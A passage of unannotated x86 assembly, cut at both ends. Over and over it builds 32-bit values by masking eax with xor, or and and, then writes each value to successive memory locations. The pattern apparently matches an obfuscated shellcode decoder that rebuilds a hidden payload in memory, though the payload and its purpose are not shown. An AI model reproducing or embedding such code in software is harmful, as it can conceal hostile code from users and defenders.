add ebx, ecx
xor eax, 0x15bbdcf2
or eax, 0x16f19c46
and eax, 0x7b3d41d
or eax, 0x80082120
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7a421881
or eax, 0x2b0d31b8
and eax, 0x10c0108
or eax, 0x4404804
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe886bd3
and eax, 0x1f44765c
and eax, 0x4000
or eax, 0x634e3506
mov dword [ebx], eax
add ebx, ecx
and eax, 0x58538f91
and eax, 0x40020000
or eax, 0x1101e27a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6c6b9578
or eax, 0x75ec84a1
and eax, 0x55435301
or eax, 0x100800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x18029c7e
and eax, 0x4c500444
or eax, 0x2ac1080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3d684858
xor eax, 0x1c8299bc
and eax, 0xaa8878
or eax, 0xaa116001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x516ef8fc
or eax, 0x346b7146
and eax, 0x8ebe3046
or eax, 0x8228
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13f02266
and eax, 0x302066
or eax, 0x7440c091
mov dword [ebx], eax
add ebx, ecx
and eax, 0x53043080
or eax, 0x525ba33a
and eax, 0x582090
or eax, 0x20a40440
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5409363
and eax, 0x245c3203
or eax, 0x18024000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1d11b50d
or eax, 0x28904f5b
and eax, 0x98f0a1b
or eax, 0x86201020
mov dword [ebx], eax
add ebx, ecx
or eax, 0xa818377
and eax, 0x273c4250
and eax, 0x1000210
or eax, 0xe892b4a2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4af94052
and eax, 0x20960e0
or eax, 0x5c900806
mov dword [ebx], eax
add ebx, ecx
or eax, 0x620380e9
or eax, 0x2c5a4719
and eax, 0x1690ccf8
or eax, 0x1200000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5cb88284
and eax, 0xa000e20
or eax, 0x24e22002
mov dword [ebx], eax
add ebx, ecx
or eax, 0x73b26209
and eax, 0x33b00e21
or eax, 0x800c90d4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1fe1f863
or eax, 0x6c0935a5
and eax, 0xd203500
or eax, 0x21a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x13f54a1b
or eax, 0x7a3e1b90
and eax, 0x6fa5479a
or eax, 0x80008064
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x469872c6
or eax, 0x3fdf2b94
and eax, 0xb777a334
or eax, 0x4000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x52407b07
and eax, 0x12402000
or eax, 0x6c2008e8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1f5f22e0
and eax, 0x4002060
or eax, 0x41364f0b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x62bf3846
and eax, 0x1422d
or eax, 0x48222840
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3713e0fa
and eax, 0x36100810
or eax, 0x34528
mov dword [ebx], eax
add ebx, ecx
or eax, 0x44b4b8fa
and eax, 0x6216e022
or eax, 0x80400204
mov dword [ebx], eax
add ebx, ecx
and eax, 0x519f9cd3
and eax, 0x20002
or eax, 0xab89378c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3eaf700a
and eax, 0x15004000
or eax, 0xa40a81b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x196affb7
and eax, 3
or eax, 0x6625058c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x117e6b4f
and eax, 0x20000e
or eax, 0xb3d80cc0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7817c84
and eax, 0xa0711040
or eax, 0x18000a1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x16e24cf5
or eax, 0x1f2f1cff
and eax, 0x1a400403
or eax, 0x40000100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5c3f1eb4
and eax, 0x10000000
or eax, 0xa016c3aa
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5e05f5c
and eax, 0x4000
or eax, 0x848594e5
mov dword [ebx], eax
add ebx, ecx
or eax, 0x238d7670
and eax, 0x196f3c20
and eax, 0x83000
or eax, 0x6ec2008f
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2bc37126
and eax, 0x4308600e
or eax, 0x90300c10
mov dword [ebx], eax
add ebx, ecx
or eax, 0xaccb8bc
or eax, 0x40b87e3d
and eax, 0xe49e24
or eax, 0x4030140
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7f5f5a76
or eax, 0x484d1012
and eax, 0x1105d522
or eax, 8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x40faa8d0
and eax, 0x412c4a3c
and eax, 0x400c4820
or eax, 0xd39543
mov dword [ebx], eax
add ebx, ecx
and eax, 0x70dbb669
or eax, 0x6dce7976
and eax, 0x4c94bd52
or eax, 0x10200000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x28dedeb7
and eax, 0x306a4280
or eax, 0x81919410
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4ab5fe1c
and eax, 0xdb06b604
or eax, 0x160
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6b68d4b9
and eax, 0x8009400
or eax, 0xb4c223df
mov dword [ebx], eax
add ebx, ecx
or eax, 0x46870f02
and eax, 0xe803d4c
or eax, 0x84020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x26801dc5
xor eax, 0x25688612
and eax, 0xd200402
or eax, 0x51104
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1625405b
xor eax, 0x521f6766
and eax, 0xc021229
or eax, 0x92444d44
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5a9d4666
and eax, 0x6f56aa8f
and eax, 0x420800
or eax, 0x8a097630
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1c7412b0
and eax, 0x1a134620
or eax, 0x40000105
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7ebf1bac
and eax, 0xa45000
or eax, 0xc2132324
mov dword [ebx], eax
add ebx, ecx
or eax, 0x32648835
xor eax, 0x3eeecfe8
and eax, 0xcc1104c1
or eax, 0x10e24320
mov dword [ebx], eax
add ebx, ecx
or eax, 0xc93004a
and eax, 0x3cb1bb8d
and eax, 0x18210301
or eax, 0x60068836
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1628f8c7
and eax, 0x38285817
or eax, 0x80000008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2d2fe954
xor eax, 0x6c8d29e2
and eax, 0x71009800
or eax, 0x746714
mov dword [ebx], eax
add ebx, ecx
or eax, 0x39995dfb
xor eax, 0x4a149430
and eax, 0x13094b0d
or eax, 0x40000030
mov dword [ebx], eax
add ebx, ecx
or eax, 0x367dbe0e
and eax, 0x2354dc33
or eax, 0x88820040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1c43be46
and eax, 0x21010025
or eax, 0x6a914a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x658a8c03
or eax, 0x6d372a5d
and eax, 0x45510e5f
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2c4f33cd
and eax, 0x12af6223
and eax, 0x70201
or eax, 0x54d0ddb4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x225cda2f
and eax, 0x545a00
or eax, 0x9922204a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6fd8822
or eax, 0x4117330d
and eax, 0x58939161
or eax, 0x800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x799852
xor eax, 0x7086c626
and eax, 0x10915842
or eax, 0x8768a018
mov dword [ebx], eax
add ebx, ecx
and eax, 0x34171254
and eax, 0x14100000
or eax, 0x432ccc8a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x30b1faa5
and eax, 0
or eax, 0xe3001058
mov dword [ebx], eax
add ebx, ecx
or eax, 0x420dc05d
and eax, 0x21010059
or eax, 0xa00622
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5859ec82
and eax, 0x400
or eax, 0x30283039
mov dword [ebx], eax
add ebx, ecx
or eax, 0x601635ff
or eax, 0x6c72bda1
and eax, 0x704499c3
or eax, 0x81814200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2e83656e
and eax, 0x804102
or eax, 0x1b3c9411
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x77f02803
xor eax, 0x1aa16acb
and eax, 0x12059252
or eax, 0x8002804
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1c30ed59
and eax, 0x1000a800
or eax, 0xe36c420c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7075d44b
and eax, 0x474aed8
and eax, 0x702800
or eax, 0x6a895134
mov dword [ebx], eax
add ebx, ecx
and eax, 0x32554a7b
and eax, 0x7f881076
and eax, 0x20000020
or eax, 0xdcf42c45
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7542945d
or eax, 0x24aab6e2
and eax, 0xed7c38f0
or eax, 0x10000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1bea8fec
xor eax, 0x51cba102
and eax, 0x1802a8c2
or eax, 0x83105211
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5625496
and eax, 0x1005090
or eax, 0x7a558549
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x22adf32b
and eax, 0x50502002
or eax, 0xa4064908
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7f6325e7
xor eax, 0x63c0ecc6
and eax, 0x480c8c4
or eax, 0x6860302b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x508d7196
and eax, 0x30600829
or eax, 0xc0802684
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x59f29095
and eax, 0x2912a820
or eax, 0x14c40102
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2afe5e98
and eax, 0x2dfc5d20
or eax, 0x40000004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7cec643f
and eax, 0x40c44400
or eax, 0x800283c9
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x45de924d
and eax, 0x5084100
or eax, 0x38428010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x554e8e52
and eax, 0x54400d52
or eax, 0x80b020a9
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4985394d
and eax, 0x1e3b4e2c
and eax, 0x18000424
or eax, 0x618ce2c0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x33c30bea
and eax, 0x334def69
and eax, 0x11000240
or eax, 0xc4de5c99
mov dword [ebx], eax
add ebx, ecx
and eax, 0x955a3fa
and eax, 0x1100298
or eax, 0x5aa09000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1d201282
and eax, 0x1000280
or eax, 0x64d28009
mov dword [ebx], eax
add ebx, ecx
and eax, 0x27bbb51
or eax, 0x103e8fd3
and eax, 0x10600ed3
or eax, 0xa681700c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4b277ea8
xor eax, 0x38431fde
and eax, 0x28206116
or eax, 0x58c1e09
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6beb1d48
or eax, 0x2e64e892
and eax, 0x4262c0c5
or eax, 0x90801120
mov dword [ebx], eax
add ebx, ecx
or eax, 0x505ac22e
xor eax, 0x1b61236d
and eax, 0x11b2000
or eax, 0x32200778
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x666044f0
or eax, 0x20c02f91
and eax, 0x145a0b89
or eax, 0x2000022
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7eb7725f
and eax, 0x12000209
or eax, 0xa9051060
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x452ced38
and eax, 0x42212100
or eax, 0x100006
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1a0b7e3e
xor eax, 0x116d29b1
and eax, 0x4b141608
or eax, 0x24818050
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6f1f6d02
and eax, 0x3b8504ee
and eax, 0x20040000
or eax, 0x4a8a0e5
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6a785d87
and eax, 0x80004
or eax, 0xc1923522
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6ac0b863
xor eax, 0x642f9c39
and eax, 0xf501170
or eax, 0xa4c81
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x66eebaf0
and eax, 0x40146100
or eax, 0x208da
mov dword [ebx], eax
add ebx, ecx
or eax, 0x74f1b9e0
and eax, 0x20d3a180
or eax, 0x88080201
mov dword [ebx], eax
add ebx, ecx
or eax, 0x74b86b7d
and eax, 0x906103f1
or eax, 0x2000002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1ab6d246
xor eax, 0x539a1f38
and eax, 0x40320932
or eax, 0x94056004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x55d64029
or eax, 0x6a9597f
and eax, 0x46234950
or eax, 0x2100a000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x433b6db1
xor eax, 0x4e846276
and eax, 0x884210
or eax, 0x84210948
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6f2b45ae
and eax, 0xc20002d6
or eax, 0x1449c008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x261a82dd
and eax, 0x20002c4
or eax, 0x59575d21
mov dword [ebx], eax
add ebx, ecx
or eax, 0x10fa6a74
or eax, 0x8170c9f
and eax, 0x18592671
or eax, 0x84008000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x46a45c55
and eax, 0x5fe5db4d
and eax, 0x8809204
or eax, 0xa4022018
mov dword [ebx], eax
add ebx, ecx
and eax, 0x694e94c
and eax, 0x4800004
or eax, 0xa1445801
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3dcba2
or eax, 0x39837d98
and eax, 0x29fdb899
or eax, 0x40000040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7600e1c5
and eax, 0x2733bcc6
and eax, 0x20311000
or eax, 0x584a020a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x510e99f1
and eax, 0x418bc2
or eax, 0xc6826000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x23534d63
and eax, 0x2014902
or eax, 0x3800b2b8
mov dword [ebx], eax
add ebx, ecx
and eax, 0xd12285f
and eax, 0x17bc3c64
and eax, 0
or eax, 0xf2f4877f
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xf3ae1d9
and eax, 0x38e97b48
and eax, 0x18484200
or eax, 0x4633909f
mov dword [ebx], eax
add ebx, ecx
or eax, 0x26052ba7
and eax, 0x6a4bf106
or eax, 0x81800440
mov dword [ebx], eax
add ebx, ecx
or eax, 0x495ac5bd
and eax, 0x9410192
or eax, 0x200800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2f4f21a3
or eax, 0x9f15663
and eax, 0x7d65ca0
or eax, 0xc0000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x72e90fbd
and eax, 0x22784238
or eax, 0x800a042
mov dword [ebx], eax
add ebx, ecx
or eax, 0x456fafcd
and eax, 0x6249c1d1
or eax, 0x80800000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6fa8b410
or eax, 0x12356353
and eax, 0x99650713
or eax, 0x20820820
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x18224a4b
or eax, 0x33ac1d36
and eax, 0x9245556e
or eax, 0x4028201
mov dword [ebx], eax
add ebx, ecx
or eax, 0x46f20c76
or eax, 0x127209a8
and eax, 0x1206c9d3
or eax, 0x9000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7cb74e14
and eax, 0x45018241
or eax, 0x100a0808
mov dword [ebx], eax
add ebx, ecx
or eax, 0x297be4f8
and eax, 0x131eab9
or eax, 0x82840002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5df1d866
xor eax, 0x544a51f0
and eax, 0x158a8180
or eax, 0xa0042624
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6963c0cc
xor eax, 0x1dca7663
and eax, 0x6005910a
or eax, 0x15526240
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x270a387e
and eax, 0x121d4810
or eax, 0xa9203448
mov dword [ebx], eax
add ebx, ecx
or eax, 0xe1c4c10
or eax, 0x4c474613
and eax, 0xeb761459
or eax, 0x800000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x546b6610
and eax, 0x40600010
or eax, 0xf05036c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3cb788a1
and eax, 0x8250020
or eax, 0x2fb09
mov dword [ebx], eax
add ebx, ecx
and eax, 0x42f1dcbb
or eax, 0x3db37061
and eax, 0x10a15869
or eax, 0x420c0514
mov dword [ebx], eax
add ebx, ecx
and eax, 0x37094267
and eax, 0x585fdda2
and eax, 0x10094000
or eax, 0xe6e6aa5d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x8d33e14
and eax, 0x8438d448
or eax, 0x4123b2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1a050cc
or eax, 0x76fed3de
and eax, 0xd029e056
or eax, 0x800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1262552
and eax, 0x1000c100
or eax, 0x262020d2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1e21fd69
and eax, 0x28001823
or eax, 0xc1dac100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x56206ce6
and eax, 0x22e5b03d
and eax, 0x20
or eax, 0x5a01040b
mov dword [ebx], eax
add ebx, ecx
or eax, 0x48aeea20
and eax, 0x100e2e29
or eax, 0xa0501194
mov dword [ebx], eax
add ebx, ecx
and eax, 0x51f093b5
and eax, 0x290dd7b
and eax, 0x1101
or eax, 0xda0a24c0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6fecb8b3
xor eax, 0x4241d989
and eax, 0xad2c4028
or eax, 0x40109204
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x31751329
or eax, 0x73ad1db4
and eax, 0x6cad9415
or eax, 0x2202
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7e4b33cf
and eax, 0x5888838c
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2bcd0461
xor eax, 0x7acf57bf
and eax, 0x9829012
or eax, 0x210272c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x59ed3deb
or eax, 0x6c33eb66
and eax, 0x63c303dd
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x318ebfbd
and eax, 0x180019c
or eax, 0x1c3c8c00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x53cd4ab2
xor eax, 0x10fdf77c
and eax, 0x49001042
or eax, 0xb090063d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x558da27b
xor eax, 0x2429767f
and eax, 0x20284000
or eax, 0x120a38
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x63a4c567
and eax, 0x408e8358
or eax, 0xa40070a0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4e3162eb
and eax, 0x2fbdee67
and eax, 0x22b48001
or eax, 0xd4024580
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3885ffa8
xor eax, 0x7d1d9c8d
and eax, 0xb20aa024
or eax, 0x48114842
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6791bf3d
and eax, 0x20000000
or eax, 0x1d464391
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4b32401f
and eax, 0x1024001
or eax, 0xb0b92f60
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6a7834fe
and eax, 0x80401198
or eax, 0x4102460
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5eb0e458
and eax, 0x1aa08000
or eax, 0x210e0450
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6159772
and eax, 0x450
or eax, 0x95e8312d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x49e2f26d
and eax, 0x4800c510
or eax, 0x219138ae
mov dword [ebx], eax
add ebx, ecx
or eax, 0x67d864c2
and eax, 0x60813062
or eax, 0x90260000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x268850ac
xor eax, 0x6e0bfcc4
and eax, 0x8b0c60
or eax, 0xa1001219
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7412fd4e
or eax, 0x3d7fc5fe
and eax, 0x904646dd
or eax, 0x2001000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7dd0c8b1
or eax, 0x3a8c28f8
and eax, 0x3ac46888
or eax, 0x45321400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x369e0ecb
xor eax, 0x7b8fd90c
and eax, 0x9014404
or eax, 0xa0a62238
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5d09356a
xor eax, 0x6bcb03d5
and eax, 0x4421
or eax, 0x290b8b00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x9847bee
xor eax, 0x6c54f862
and eax, 0x444a0305
or eax, 0x3024e020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x40df3aff
and eax, 0x40040021
or eax, 0xb4210080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6d728459
and eax, 0x9430000
or eax, 0x24286901
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3da9074d
xor eax, 0xc3f93e8
and eax, 0x1c7c1da0
or eax, 0xc0000008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x492966e5
and eax, 0x1ae6c256
and eax, 0
or eax, 0xb54a0c0e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x11017b01
or eax, 0x7a1cee5c
and eax, 0x7657b005
or eax, 0x2000a0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x334b2d0e
xor eax, 0x12520c81
and eax, 0x10a0100
or eax, 0x88016495
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6f0a2d1e
xor eax, 0x66488b72
and eax, 0x801b9
or eax, 0x3b322000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5e309aad
xor eax, 0x2106fa68
and eax, 0x40044034
or eax, 0x9a021e03
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4201c4b9
or eax, 0x379e234a
and eax, 0x420ab2d4
or eax, 0x200000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x535434d6
xor eax, 0x78b4267e
and eax, 0x802014
or eax, 0x4144080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x467ac6de
and eax, 0x4004090
or eax, 0xc0c88420
mov dword [ebx], eax
add ebx, ecx
and eax, 0x48353e6d
xor eax, 0x572bd082
and eax, 0x122800a2
or eax, 0x80402204
mov dword [ebx], eax
add ebx, ecx
or eax, 0xacdc3cc
and eax, 0x9aa44106
or eax, 0x100810
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x51d0b1b
and eax, 0x135fc9c0
and eax, 0x1090000
or eax, 0xc0f0a31e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x65af58cf
and eax, 0xc
or eax, 0x280239c1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3f47a230
or eax, 0x4c495cef
and eax, 0x4c007caa
or eax, 0x3940310
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x324fd7a2
and eax, 0x4cdaa810
or eax, 0x80245006
mov dword [ebx], eax
add ebx, ecx
and eax, 0x213aaeb9
and eax, 0x128010
or eax, 0x170055cb
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2c351fd0
and eax, 0x518e76c6
and eax, 0x11020202
or eax, 0xe0c9b0a4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1f66c4a2
and eax, 0x78b33efd
and eax, 0x213004
or eax, 0x92588928
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7f23e55a
or eax, 0x2f61ff78
and eax, 0x463a537a
or eax, 0x800080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x68112fb3
and eax, 0x282a3178
or eax, 0x90400004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x19498696
and eax, 0x21228060
or eax, 0x46100014
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2e53d54a
and eax, 0x128000
or eax, 0x49685f22
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4c0492f
and eax, 0x1820a2e
or eax, 0x820520c0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7efc4e00
or eax, 0x53207739
and eax, 0x83b840b8
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5e3bfd17
and eax, 0x2000010
or eax, 0x48052643
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3ca0e6e1
xor eax, 0x2ba0144
and eax, 0x3011e393
or eax, 0x80001000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x43bc3cc7
and eax, 0x5c97beca
and eax, 0x101080
or eax, 0x58cccc54
mov dword [ebx], eax
add ebx, ecx
and eax, 0xc41bbba
xor eax, 0x4af2eca6
and eax, 0x42b06016
or eax, 0x1d418388
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5b4eac7f
and eax, 0x2cc60843
and eax, 0x4040800
or eax, 0x1221d298
mov dword [ebx], eax
add ebx, ecx
and eax, 0x72e31399
or eax, 0xe452a47
and eax, 0x8403095
or eax, 0xc0804020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3cb88d79
and eax, 0x3e8f3962
and eax, 0x8800000
or eax, 0xa1669683
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6aa2e8fd
and eax, 0x20800080
or eax, 0x5046f54
mov dword [ebx], eax
add ebx, ecx
or eax, 0x382c2bf7
and eax, 0x38006a52
or eax, 0x40028008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x455b8628
or eax, 0xd6ea56b
and eax, 0x962a201
or eax, 0x92905884
mov dword [ebx], eax
add ebx, ecx
or eax, 0x697b8944
and eax, 0xeafa5940
or eax, 0x4000012
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6009abc6
and eax, 0x5eb5f3ce
and eax, 0x6806284
or eax, 0xd1060d6a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x457e8342
and eax, 0x58b5d0d3
and eax, 0x80c080
or eax, 0x8092022
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x54e9d4d9
xor eax, 0x3a9958c7
and eax, 0x24292800
or eax, 0x89000102
mov dword [ebx], eax
add ebx, ecx
and eax, 0x33c7280d
and eax, 0x21000000
or eax, 0xc2bc4300
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x18a6cf9d
and eax, 0xfa188890
or eax, 0x4c55022
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7ee6c464
and eax, 0x1ac44020
or eax, 0x812b05da
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5a1c34e7
xor eax, 0x33b45d08
and eax, 0x50460815
or eax, 0x1285202
mov dword [ebx], eax
add ebx, ecx
or eax, 0x27a04fe
and eax, 0x12124800
or eax, 0x80802000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x19dac168
and eax, 0x850c900
or eax, 0x64241691
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6c6fb4d8
and eax, 0x1a2841
or eax, 0x88400436
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x75877d16
or eax, 0x4f996a9f
and eax, 0xfe1058b8
or eax, 0x20000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x73ecf05b
and eax, 0x8faa801
or eax, 0x7001550c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5e49ba10
and eax, 0x7cd8db19
or eax, 0x81000042
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4edf9633
and eax, 0x10040120
or eax, 0x40c03002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x190f0b3b
or eax, 0x5cd25c2b
and eax, 0x14404420
or eax, 0x82292240
mov dword [ebx], eax
add ebx, ecx
or eax, 0x52b24c93
and eax, 0x949162e2
or eax, 0x29009100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3e2322cf
and eax, 0x54996f92
and eax, 0x10282
or eax, 0x8b6a4824
mov dword [ebx], eax
add ebx, ecx
or eax, 0x71817ed
xor eax, 0x748848cf
and eax, 0xaba21200
or eax, 0x40c489b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2486c3b
or eax, 0x4867a116
and eax, 0x2de132b4
or eax, 0x10180800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7c5de108
or eax, 0x21fa96a6
and eax, 0x3a14a6
or eax, 0xc2000948
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1b1c4dd1
xor eax, 0x3623274f
and eax, 0x44080
or eax, 0x2200404
mov dword [ebx], eax
add ebx, ecx
or eax, 0x66fc88b6
and eax, 0x4c8c414
or eax, 0x89010149
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5766c64c
and eax, 0xc8ae0301
or eax, 0x21503424
mov dword [ebx], eax
add ebx, ecx
or eax, 0x315ffa31
xor eax, 0x14e96221
and eax, 0xe1129010
or eax, 0x12412242
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x26642314
and eax, 0x91059044
or eax, 0x20c80290
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5e6e5ce9
xor eax, 0x407b3f3d
and eax, 0x71461c0
or eax, 0x40630e34
mov dword [ebx], eax
add ebx, ecx
and eax, 0x53d51d67
and eax, 0x3400c24
or eax, 0x388af003
mov dword [ebx], eax
add ebx, ecx
or eax, 0x744656ed
or eax, 0x569f5e4f
and eax, 0x4d5e4000
or eax, 0x80000110
mov dword [ebx], eax
add ebx, ecx
or eax, 0x295c3449
and eax, 0xc5a3101
or eax, 0x2008286
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7a9650dc
and eax, 0x164a239a
or eax, 0x81210c20
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x23f0e835
and eax, 0x2481c48b
or eax, 0x9442810
mov dword [ebx], eax
add ebx, ecx
or eax, 0x63ce596e
or eax, 0x3ebfab8d
and eax, 0x6fc3b23e
